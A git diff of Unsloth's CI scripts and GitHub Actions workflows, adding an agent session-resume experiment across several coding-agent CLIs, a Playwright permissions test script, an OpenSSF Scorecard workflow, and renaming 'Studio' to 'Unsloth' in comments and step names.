WORK="$WORKDIR_BASE/${AGENT}-resume"
# STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to.
# Read it from a --no-launch probe (which also writes the agent's config
# there). codex/pi relocate their whole home/HOME here; opencode/claude keep
# their session data in a fixed user dir, so STABLE_HOME stays empty for them.
parse_connect
case "$AGENT" in
codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;;
pi) STABLE_HOME="$(raw_env HOME)" ;;
*) STABLE_HOME="" ;;
esac
# The persistent stores a session would land in if it were NOT wiped. We
# count files here before/after each turn; a positive delta means the
# session persisted (is resumable), zero means it went to a wiped temp dir.
resume_tracked_dirs() {
case "$AGENT" in
codex) printf '%s\n' "$HOME/.codex" ;;
opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;;
claude) printf '%s\n' "$HOME/.claude" ;;
pi) printf '%s\n' "$HOME/.pi" ;;
*) : ;;
esac
[ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME"
}
count_session_files() {
local total=0 d n
while IFS= read -r d; do
[ -n "$d" ] && [ -d "$d" ] || continue
n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n))
done < <(resume_tracked_dirs)
echo "$total"
}
# The headless first-turn subcommand per agent (mirrors file-edit's map),
# forwarded verbatim through the launch path as passthrough args.
set_t1_cmd() {
case "$AGENT" in
claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;;
codex) T1_CMD=(exec "$T1") ;;
opencode) T1_CMD=(run "$T1") ;;
pi) T1_CMD=(-p "$T1") ;;
*) guide_fail "resume mode does not cover agent '$AGENT'" ;;
esac
}
# Run one headless turn through the launch path. $1=outfile, $2="" or
# "--persist", rest = the agent subcommand. --yolo auto-approves so no tool
# prompt can hang; --api-key attaches to the already-served CI model.
launch_turn() {
local out="$1" rflag="$2"; shift 2
local flag=(); [ -n "$rflag" ] && flag=("$rflag")
run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \
--api-key "$UNSLOTH_API_KEY" "$@"
local rc=$?
redact "$out"
return "$rc"
}
# One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED
# from the session-store delta. Runs in the main shell (not a command
# substitution) so a hang's guide_fail actually fails the job and the
# progress lines reach the CI log. $1 = "" (baseline) or "--persist".
RESULT=""
run_pass() {
local rflag="$1" label="baseline"
[ -n "$rflag" ] && label="resume"
rm -rf "$WORK"; mkdir -p "$WORK"
set_t1_cmd
local out="$LOGS_DIR/${AGENT}-resume-${label}.txt"
local before after rc
before="$(count_session_files)"
pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK"
launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$?
popd >/dev/null || true
after="$(count_session_files)"
echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})"
# The turn must succeed for the delta to mean anything: an agent that writes a
# session file then errors would otherwise be misread as PERSISTED. Mirror the
# file-edit mode and fail the pass on a non-zero launch (the flagship codex recall
# below stays WARN-only, driven by its own launch_turn calls).
[ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \
guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; }
if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi
}
run_pass ""; BASELINE="$RESULT"
# Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix.
# opencode/claude persist either way, so the baseline already proves it and a
# second full CPU turn only risks a timeout; skip it for them.
case "$AGENT" in
codex|pi) run_pass "--persist"; RESUME="$RESULT" ;;
*) RESUME="n/a (persists either way)" ;;
esac
# Expected: codex/pi relocate their whole home to the temp dir, so a plain
# launch is WIPED and only --persist PERSISTS. opencode/claude keep their
# session data in a fixed user dir, so the baseline already PERSISTS.
case "$AGENT" in
codex|pi) EXPECT_BASELINE="WIPED" ;;
opencode|claude) EXPECT_BASELINE="PERSISTED" ;;
esac
echo "──────────────────────────────────────────────"
echo "[$AGENT] RESUME EXPERIMENT"
echo " baseline (unsloth start ${AGENT}): ${BASELINE} (expected ${EXPECT_BASELINE})"
echo " with --persist (unsloth start ${AGENT} --persist): ${RESUME}"
echo "──────────────────────────────────────────────"
[ "$BASELINE" = "$EXPECT_BASELINE" ] \
|| guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}"
case "$AGENT" in
codex|pi)
[ "$RESUME" = "PERSISTED" ] \
|| guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;;
esac
# Flagship behavioral proof (codex only, WARN-only): after a --persist plant,
# resume the session and check the model actually recalls the codeword. A
# miss is not a failure (the CI model is small); the mechanism gate above is
# the real assertion.
if [ "$AGENT" = "codex" ]; then
rm -rf "$WORK"; mkdir -p "$WORK"
( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true
( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true
if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then
echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}"
else
echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed"
fi
fi
echo "[$AGENT] resume OK"
;;
*)
echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2
exit 2

View file

@ -2,7 +2,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
#
# Assert Studio installed a llama.cpp that loads and runs on THIS macOS. Tests
# Assert Unsloth installed a llama.cpp that loads and runs on THIS macOS. Tests
# the contract that matters (binaries load and their minimum-OS is <= this host)
# instead of the old "did install.sh fall back to a source build?" grep, since a
# source build with a correct deployment target is a valid outcome.

View file

@ -31,7 +31,7 @@
# (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/.
#
# <P> is the INTERNAL llama-server port (self._find_free_port(),
# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Studio port. So we must
# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Unsloth port. So we must
# NOT filter the log glob by STUDIO_PORT (the brief's `port-<STUDIO_PORT>`
# glob would never match). We pick the newest llama-*.log instead.
#

View file

@ -3,7 +3,7 @@
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
#
# Download a single file from a Hugging Face repo with a stall-retry
# watchdog. Used by the Studio CI workflows so a hung hf-xet transfer
# watchdog. Used by the Unsloth CI workflows so a hung hf-xet transfer
# kills + retries instead of silently consuming the job's timeout.
#
# Usage: hf-download-with-retry.sh REPO FILE LOCAL_DIR
@ -35,7 +35,7 @@ REPO="${1:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}"
FILE="${2:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}"
# LOCAL_DIR is optional. If empty, hf falls back to HF_HUB_CACHE
# (~/.cache/huggingface/hub) which is the desired path for callers
# that populate HF_HOME for a downstream Studio model load.
# that populate HF_HOME for a downstream Unsloth model load.
LOCAL_DIR="${3:-}"
# Stall threshold per attempt, in seconds. Override with

View file

@ -0,0 +1,70 @@
#!/usr/bin/env bash
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
set -euo pipefail
port="${1:?usage: $0 PORT BROWSER [CHANNEL]}"
browser="${2:?usage: $0 PORT BROWSER [CHANNEL]}"
channel="${3:-}"
slug="$browser${channel:+-$channel}"
artifact_dir="logs/playwright-permissions-$slug"
server_log="logs/studio-permissions-$slug.log"
studio_home="${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth/studio}"
set --
if [ -n "${STUDIO_PERMISSION_FRONTEND:-}" ]; then
set -- -f "$STUDIO_PERMISSION_FRONTEND"
fi
mkdir -p "$artifact_dir"
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf "$studio_home/auth"
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$port" "$@" \
>"$server_log" 2>&1 &
studio_pid=$!
cleanup() {
kill "$studio_pid" 2>/dev/null || true
wait "$studio_pid" 2>/dev/null || true
}
trap cleanup EXIT
healthy=0
for _ in $(seq 1 180); do
if curl -fs "http://127.0.0.1:$port/api/health" >/dev/null; then
healthy=1
break
fi
if ! kill -0 "$studio_pid" 2>/dev/null; then
tail -100 "$server_log" || true
exit 1
fi
sleep 1
done
if [ "$healthy" -ne 1 ]; then
tail -100 "$server_log" || true
exit 1
fi
old_password=$(cat "$studio_home/auth/.bootstrap_password")
new_password="CIPerm-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
if [ "${GITHUB_ACTIONS:-}" = "true" ]; then
echo "::add-mask::$old_password"
echo "::add-mask::$new_password"
fi
export BASE_URL="http://127.0.0.1:$port"
export STUDIO_OLD_PW="$old_password"
export STUDIO_NEW_PW="$new_password"
export STUDIO_UI_STRICT=1
export STUDIO_UI_PERMISSION_ONLY=1
export STUDIO_UI_WALL_TIMEOUT_S=240
export STUDIO_PLAYWRIGHT_BROWSER="$browser"
export PW_ART_DIR="$artifact_dir"
if [ -n "$channel" ]; then
export STUDIO_PLAYWRIGHT_CHANNEL="$channel"
else
unset STUDIO_PLAYWRIGHT_CHANNEL || true
fi
python tests/studio/playwright_chat_ui.py

View file

@ -7,7 +7,7 @@
#
# Why a separate workflow:
# - studio-backend-ci.yml's "Repo tests (CPU)" job already auto-discovers
# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 16
# tests/ minus tests/qlora, tests/saving, tests/utils, tests/sh. The 17
# Bucket-A tests below live inside those --ignore dirs (CPU-runnable but
# historically excluded with their GPU siblings); pulling them out into
# a sibling job keeps the existing 760-passed baseline stable while we
@ -268,10 +268,13 @@ jobs:
tests/saving/test_save_shell_injection.py \
tests/saving/test_patch_saving_none_tokenizer.py \
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
tests/saving/test_fix_sentencepiece_tokenizer_guard.py \
tests/saving/test_compressed_export_schemes.py \
tests/saving/test_export_api_surface.py \
tests/saving/test_export_dispatch.py \
tests/saving/test_imatrix_export.py \
tests/saving/test_gguf_single_pass_export.py \
tests/saving/test_offline_gguf_vlm_tokenizer_7481.py \
tests/utils/test_attention_masks.py \
tests/utils/test_trunc_normal_patch.py \
tests/python/test_fast_language_model_text_only.py
@ -357,19 +360,23 @@ jobs:
tests/saving/test_save_shell_injection.py \
tests/saving/test_patch_saving_none_tokenizer.py \
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
tests/saving/test_fix_sentencepiece_tokenizer_guard.py \
tests/saving/test_compressed_export_schemes.py \
tests/saving/test_export_api_surface.py \
tests/saving/test_export_dispatch.py \
tests/saving/test_imatrix_export.py \
tests/saving/test_gguf_single_pass_export.py \
tests/saving/test_offline_gguf_vlm_tokenizer_7481.py \
tests/utils/test_attention_masks.py \
tests/utils/test_trunc_normal_patch.py \
tests/python/test_fast_language_model_text_only.py \
tests/test_bad_mappings_redirect.py \
tests/test_prefetch_snapshot_scope.py \
--deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
# The deselected test monkeypatches flash_attn_varlen_func, which is
# only bound on the module when `flash_attn` is importable. flash_attn
# requires CUDA + dev toolchain, which the CPU-only ubuntu-latest
# runner does not have. The other Bucket-A tests pass cleanly.
tests/test_gemma_2b_mapper_key.py \
tests/test_raw_text_json_loading.py
# test_run_attention_flash_varlen_receives_window_and_softcap was deselected
# until attention_dispatch.py predefined flash_attn_varlen_func as None; it
# monkeypatches that name, so it no longer needs flash_attn on this runner.
- name: unsloth_zoo @ ${{ env.UNSLOTH_ZOO_REF }} — full pytest (CPU)
# 106 of 111 test_* in unsloth_zoo are CPU-only. The two CUDA-skip
@ -2123,7 +2130,7 @@ jobs:
pip show unsloth_zoo
echo "::endgroup::"
echo "Consolidated job done. Coverage:"
echo " - 16 unsloth Bucket-A tests under tests/saving/ + tests/utils/"
echo " - 17 unsloth Bucket-A tests under tests/saving/ + tests/utils/"
echo " - unsloth_zoo @ ${UNSLOTH_ZOO_REF} pytest tests/ (5 GPU cases deselected)"
echo " - unsloth_zoo.compiler.test_apply_fused_lm_head"

View file

@ -1,18 +1,16 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Runs tests/python/test_cross_platform_parity.py on Windows and macOS.
# Runs installer parity and autostart opt-out tests across all three platforms.
#
# Why: that test is the guard that install.sh and install.ps1 stay in
# sync, but today it only runs on ubuntu-latest (auto-discovered by
# studio-backend-ci.yml's "Repo tests (CPU)" job). The test reads both
# installer scripts, and on Windows Path.read_text() defaults to the
# cp1252 locale encoding, so a non-cp1252 byte in install.sh (it already
# contains a U+274C) raises UnicodeDecodeError there even though Linux and
# macOS default to UTF-8. The reads were pinned to encoding="utf-8" in
# #6166; this job keeps that from silently regressing by exercising the
# test on the platforms it claims parity for. Pure pytest, no GPU,
# sub-second, so the matrix is cheap.
# Why: the parity test guards that install.sh and install.ps1 stay in sync.
# It originally ran only on ubuntu-latest through studio-backend-ci.yml.
# On Windows, Path.read_text() defaults to the cp1252 locale encoding, so a
# non-cp1252 byte in install.sh raises UnicodeDecodeError even though Linux
# and macOS default to UTF-8. The reads were pinned to encoding="utf-8" in
# #6166; this matrix keeps that from silently regressing. Pure pytest, no GPU,
# sub-second, so the matrix is cheap. Linux also runs the POSIX rollback test
# under dash, matching the supported curl-to-sh installer path.
name: Cross-platform parity
@ -21,14 +19,20 @@ on:
paths:
- 'install.sh'
- 'install.ps1'
- 'tests/test_installer_skip_autostart.py'
- 'tests/python/test_cross_platform_parity.py'
- 'tests/sh/test_install_rollback_lifecycle.sh'
- 'tests/studio/test_install_rollback_lifecycle.ps1'
- '.github/workflows/cross-platform-parity-ci.yml'
push:
branches: [main]
paths:
- 'install.sh'
- 'install.ps1'
- 'tests/test_installer_skip_autostart.py'
- 'tests/python/test_cross_platform_parity.py'
- 'tests/sh/test_install_rollback_lifecycle.sh'
- 'tests/studio/test_install_rollback_lifecycle.ps1'
- '.github/workflows/cross-platform-parity-ci.yml'
workflow_dispatch:
@ -45,7 +49,7 @@ jobs:
strategy:
fail-fast: false
matrix:
os: [windows-latest, macos-latest]
os: [ubuntu-latest, windows-latest, macos-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 10
steps:
@ -57,5 +61,18 @@ jobs:
python-version: '3.12'
cache: 'pip'
- run: python -m pip install -U pip pytest
- name: Cross-platform parity test
run: python -m pytest tests/python/test_cross_platform_parity.py -q
- name: Cross-platform parity tests
env:
UNSLOTH_NO_TORCH: '1'
run: >-
python -m pytest
tests/python/test_cross_platform_parity.py
tests/test_installer_skip_autostart.py
-q
- name: PowerShell rollback lifecycle tests
if: runner.os == 'Windows'
shell: pwsh
run: pwsh -NoProfile -File tests/studio/test_install_rollback_lifecycle.ps1
- name: POSIX rollback lifecycle tests
if: runner.os == 'Linux'
run: sh tests/sh/test_install_rollback_lifecycle.sh

View file

@ -13,10 +13,10 @@
# committed YAML / JSON config.
#
# TypeScript and Rust are NOT duplicated here on purpose:
# - Studio Frontend CI runs `npm run typecheck` (= `tsc --noEmit`)
# - Unsloth Frontend CI runs `npm run typecheck` (= `tsc --noEmit`)
# and `npm run build` (vite/swc) on every studio/frontend/**
# change, which is a full TS AST + type check.
# - Studio Tauri CI runs `tauri build --debug --no-bundle` on
# - Unsloth Tauri CI runs `tauri build --debug --no-bundle` on
# every studio/src-tauri/** or studio/frontend/** change, which
# compiles the Rust crate (= cargo check + cargo build).
# Each is a stricter check than a parse-only step would be, so a

View file

@ -154,7 +154,7 @@ jobs:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
@ -167,7 +167,9 @@ jobs:
# ── boot the server under test (factored helper) ──────────────────
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
run: |
unsloth studio reset-password
# Wipe, not reset-password: since #7573 the reset rotates in place and
# prints the new passphrase, which would land unmasked in the job log.
rm -rf ~/.unsloth/studio/auth
bash .github/scripts/serve-unsloth-run.sh \
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
--port "$STUDIO_PORT" --log-dir logs \
@ -256,7 +258,7 @@ jobs:
done
fi
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
# Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
@ -359,7 +361,7 @@ jobs:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
@ -371,7 +373,7 @@ jobs:
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
bash .github/scripts/serve-unsloth-run.sh \
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
--port "$STUDIO_PORT" --log-dir logs \
@ -448,7 +450,7 @@ jobs:
done
fi
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
# Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
@ -471,6 +473,176 @@ jobs:
redacted-configs/
retention-days: 7
# ═════════════════════════════════════════════════════════════════════
# Job: resume
# Does a conversation started with `unsloth start <agent>` survive exit
# and resume? This drives the REAL launch path (not the --no-launch
# recipe the other jobs use). A plain launch relocates the agent home to
# a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the
# session to the stable Unsloth agents dir so it persists. opencode/claude
# keep their session data in a fixed user dir, so they persist either way.
# Dispatch-only: it is an end-to-end experiment, not a PR gate.
# ═════════════════════════════════════════════════════════════════════
resume:
name: resume (${{ matrix.agent }})
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
timeout-minutes: 60
strategy:
fail-fast: false
matrix:
# codex/pi relocate their whole home (resume broken without --persist);
# opencode/claude keep session data in a fixed dir (resume already works).
# One agent from each class proves the split end to end; openclaw/hermes
# share codex's relocation mechanism and are covered by the unit tests.
agent: [codex, opencode, claude, pi]
env:
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
STUDIO_PORT: '18904'
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- name: Linux deps for llama.cpp prebuilt
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends \
libcurl4-openssl-dev libssl-dev jq
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
with:
node-version: '22'
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
cache: 'pip'
- name: Restore GGUF model file
id: cache-gguf
uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
continue-on-error: true
with:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
- name: Download GGUF if cache miss
id: download-gguf
if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
env:
HF_TOKEN: ${{ secrets.HF_TOKEN }}
run: |
python -m pip install --upgrade huggingface_hub
mkdir -p gguf-cache
bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
- name: Save GGUF model file
if: always() && steps.download-gguf.outcome == 'success'
uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
with:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
run: |
mkdir -p logs
set -o pipefail
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
- name: Serve unsloth run --disable-tools (gemma-4-E4B)
run: |
rm -rf ~/.unsloth/studio/auth
bash .github/scripts/serve-unsloth-run.sh \
--gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
--port "$STUDIO_PORT" --log-dir logs \
--extra "--seed $UNSLOTH_SEED --temp 0" \
--health-timeout 900
- name: Preflight the agent's API dialect (class-a isolation)
env:
AGENT: ${{ matrix.agent }}
run: |
set -uo pipefail
B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
preflight_fail() {
echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**.";
exit 1
}
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
-H "Authorization: Bearer $K") || true
[ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
case "$AGENT" in
claude)
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
--max-time 120 \
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
[ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
;;
codex)
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
--max-time 120 \
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
[ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
;;
*)
code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
-H "Authorization: Bearer $K" -H 'content-type: application/json' \
--max-time 120 \
-d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
[ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
;;
esac
echo "preflight OK for $AGENT"
- name: Install agent CLI (class-b isolation)
env:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-install.sh "$AGENT"
- name: Resume experiment (launch path)
env:
AGENT: ${{ matrix.agent }}
run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT"
- name: Collect server logs (debug)
if: always()
run: |
mkdir -p logs/studio-logs
cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true
if [ -n "${UNSLOTH_API_KEY:-}" ]; then
grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do
sed -i "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$f" 2>/dev/null || true
done
fi
- name: Stop Unsloth
if: always()
run: |
if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then
kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true
fi
sleep 2
ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true
- name: Upload logs
if: always()
continue-on-error: true
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: resume-${{ matrix.agent }}-log
path: |
logs/
agent-workdir/
redacted-configs/
retention-days: 7
# ═════════════════════════════════════════════════════════════════════
# Job 3: prompt-cache
# (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0
@ -536,7 +708,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Gated off PR (see note above); public GGUF still downloads.
@ -548,7 +720,7 @@ jobs:
- name: Serve unsloth run --disable-tools (gemma-3-270m)
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
bash .github/scripts/serve-unsloth-run.sh \
--model "$GGUF_REPO" --gguf-variant "$GGUF_VARIANT" \
--port "$STUDIO_PORT" --log-dir logs \
@ -594,7 +766,7 @@ jobs:
done
fi
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
# Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make

View file

@ -130,7 +130,7 @@ jobs:
# MLX support landed after the most recent unsloth-zoo PyPI
# release; the wheel still raises NotImplementedError on
# Apple Silicon when device_type.get_device_type() runs
# unguarded. Studio's own install.sh overlays unsloth-zoo
# unguarded. Unsloth's own install.sh overlays unsloth-zoo
# from git main for the same reason. Pulling deps lets pip
# resolve the platform-conditional MLX-only wheels (mlx,
# mlx-lm, mlx-vlm gated on darwin+arm64 in unsloth-zoo's
@ -317,13 +317,13 @@ jobs:
echo
done
# Validates the macOS prebuilt path Studio's setup.sh uses (#5963): install the
# Validates the macOS prebuilt path Unsloth's setup.sh uses (#5963): install the
# unslothai/llama.cpp fork's latest release, download a small public GGUF, and
# check llama-server /completion end to end. Split and placed last so the
# untrusted binary runs only in the final smoke step, after every HF_TOKEN step,
# leaving no token-bearing step or shared workspace for a tampered prebuilt to
# corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch.
- name: Studio prebuilt llama.cpp install + GGUF download (Mac M1)
- name: Unsloth prebuilt llama.cpp install + GGUF download (Mac M1)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
@ -344,12 +344,12 @@ jobs:
# Final step: runs the downloaded binaries with no secrets present, and clears
# the GitHub Actions command files so a tampered prebuilt cannot influence the job.
- name: Studio prebuilt llama.cpp GGUF inference smoke (Mac M1)
- name: Unsloth prebuilt llama.cpp GGUF inference smoke (Mac M1)
run: |
set -euo pipefail
unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY
INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp"
# Studio bundles only llama-server + llama-quantize (not llama-cli);
# Unsloth bundles only llama-server + llama-quantize (not llama-cli);
# inference goes through llama-server's HTTP /completion endpoint.
LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server"
LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize"
@ -400,4 +400,4 @@ jobs:
tail -40 /tmp/llama-server.log
exit 1
fi
echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works"
echo "OK: Unsloth prebuilt llama.cpp on Mac M1 + GGUF /completion works"

78
.github/workflows/ossf.yml vendored Normal file
View file

@ -0,0 +1,78 @@
# This workflow uses actions that are not certified by GitHub. They are provided
# by a third-party and are governed by separate terms of service, privacy
# policy, and support documentation.
name: Scorecard supply-chain security
on:
# For Branch-Protection check. Only the default branch is supported. See
# https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection
branch_protection_rule:
# To guarantee Maintained check is occasionally updated. See
# https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained
schedule:
- cron: '21 20 * * 0'
push:
branches: [ "main" ]
# Declare default permissions as read only.
permissions: read-all
jobs:
analysis:
name: Scorecard analysis
runs-on: ubuntu-latest
# `publish_results: true` only works when run from the default branch. conditional can be removed if disabled.
if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request'
permissions:
# Needed to upload the results to code-scanning dashboard.
security-events: write
# Needed to publish results and get a badge (see publish_results below).
id-token: write
# Uncomment the permissions below if installing in a private repository.
# contents: read
# actions: read
steps:
- name: "Checkout code"
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- name: "Run analysis"
uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1
with:
results_file: results.sarif
results_format: sarif
# (Optional) "write" PAT token. Uncomment the `repo_token` line below if:
# - you want to enable the Branch-Protection check on a *public* repository, or
# - you are installing Scorecard on a *private* repository
# To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional.
# repo_token: ${{ secrets.SCORECARD_TOKEN }}
# Public repositories:
# - Publish results to OpenSSF REST API for easy access by consumers
# - Allows the repository to include the Scorecard badge.
# - See https://github.com/ossf/scorecard-action#publishing-results.
# For private repositories:
# - `publish_results` will always be set to `false`, regardless
# of the value entered here.
publish_results: true
# (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore
# file_mode: git
# Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF
# format to the repository Actions tab.
- name: "Upload artifact"
uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1
with:
name: SARIF file
path: results.sarif
retention-days: 5
# Upload the results to GitHub's code scanning dashboard (optional).
# Commenting out will disable upload of results to your repo's Code Scanning dashboard
- name: "Upload to code-scanning"
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif

View file

@ -4,7 +4,7 @@ on:
workflow_dispatch:
inputs:
studio_version:
description: 'Studio version tag to release (for example, v0.1.39-beta)'
